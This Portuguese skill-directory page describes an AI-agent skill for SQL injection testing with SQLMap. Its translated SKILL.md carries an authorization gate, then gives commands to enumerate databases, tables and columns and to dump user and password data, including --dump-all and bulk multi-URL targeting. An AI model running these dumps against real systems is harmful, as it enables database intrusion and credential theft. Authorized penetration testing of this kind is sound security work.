Pular para o conteúdo
Skillpedia
Segurança48 mil · #4233

sqlmap-database-pentesting

Ajuda seu agente a encontrar e explorar falhas de SQL injection em bancos de dados. Ele usa ferramentas automáticas para testar a segurança.

O que ela faz

Esta ferramenta ajuda a encontrar e explorar falhas de segurança em bancos de dados de sites. Ela procura por um tipo específico de vulnerabilidade chamada 'injeção de SQL' para acessar informações.

Quando usar

  • ✓Ao testar a segurança de um site que você tem permissão para analisar.
  • ✓Para verificar se um site está vulnerável a ataques de injeção de SQL.
  • ✓Para aprender sobre testes de penetração em bancos de dados.

Exemplo do que pedir para a IA

“Verifique se o site 'exemplo.com' é vulnerável a injeção de SQL no parâmetro 'id' e liste os bancos de dados disponíveis.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/sqlmap-database-pentesting/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/sqlmap-database-pentesting/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia comandos especialmente criados para o site, tentando 'enganar' o banco de dados. Se o banco de dados responder de forma inesperada, a ferramenta pode identificar a falha e extrair dados.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill sqlmap-database-pentesting

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/sqlmap-database-pentesting/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevito desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar a URL exata do alvo, IP, conta ou recurso.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

Teste de Penetração de Banco de Dados com SQLMap

Propósito

Fornecer metodologias sistemáticas para detecção e exploração automatizada de injeção de SQL usando SQLMap. Esta habilidade abrange enumeração de banco de dados, descoberta de tabelas e colunas, extração de dados, múltiplos métodos de especificação de alvo e técnicas avançadas de exploração para MySQL, PostgreSQL, MSSQL, Oracle e outros sistemas de gerenciamento de banco de dados.

Entradas / Pré-requisitos

  • URL do Alvo: URL da aplicação web com parâmetro injetável (por exemplo, ?id=1)
  • Instalação do SQLMap: Pré-instalado no Kali Linux ou baixado do GitHub
  • Ponto de Injeção Verificado: Parâmetro de URL confirmado ou suspeito de ser injetável em SQL
  • Arquivo de Requisição (Opcional): Requisição HTTP capturada pelo Burp Suite para injeção baseada em POST
  • Autorização: Permissão por escrito para atividades de teste de penetração

Saídas / Entregas

  • Enumeração de Banco de Dados: Lista de todos os bancos de dados no servidor alvo
  • Estrutura de Tabelas: Nomes completos das tabelas dentro do banco de dados alvo
  • Mapeamento de Colunas: Nomes das colunas e tipos de dados para cada tabela
  • Dados Extraídos: Registros descarregados incluindo nomes de usuário, senhas e dados sensíveis
  • Valores de Hash: Hashes de senha para cracking offline
  • Relatório de Vulnerabilidade: Confirmação do tipo e gravidade da injeção de SQL

Fluxo de Trabalho Principal

1. Identificar Vulnerabilidade de Injeção de SQL

Verificação Manual

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Scan Inicial com SQLMap

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerar Bancos de Dados

Listar Todos os Bancos de Dados

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Opções Principais:

  • -u: URL do alvo com parâmetro injetável
  • --dbs: Enumerar nomes de bancos de dados
  • --batch: Usar respostas padrão (modo não interativo)

3. Enumerar Tabelas

Listar Tabelas em Banco de Dados Específico

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Opções Principais:

  • -D: Especificar nome do banco de dados alvo
  • --tables: Enumerar nomes de tabelas

4. Enumerar Colunas

Listar Colunas em Tabela Específica

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Opções Principais:

  • -T: Especificar nome da tabela alvo
  • --columns: Enumerar nomes de colunas

5. Extrair Dados

Descarregar Dados de Tabela Específica

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Descarregar Colunas Específicas

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Descarregar Banco de Dados Inteiro

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Opções Principais:

  • --dump: Extrair todos os dados da tabela especificada
  • --dump-all: Extrair todos os dados de todas as tabelas
  • -C: Especificar nomes de colunas a serem extraídas

6. Opções Avançadas de Alvo

Alvo de Arquivo de Requisição HTTP

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Alvo de Arquivo de Log

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Alvo de Múltiplas URLs (Arquivo em Massa)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

…

Perguntas frequentes

O que é injeção de SQL?

É um tipo de ataque onde um invasor insere comandos maliciosos em um campo de entrada de um site, fazendo com que o banco de dados execute esses comandos.

Preciso de permissão para usar esta ferramenta?

Sim, é crucial ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. Usá-la sem permissão é ilegal.

Quais tipos de bancos de dados ela suporta?

Ela suporta uma ampla gama de bancos de dados populares como MySQL, PostgreSQL, Microsoft SQL Server, Oracle e muitos outros.

Detalhes

Descrição original do autor

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#4233
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas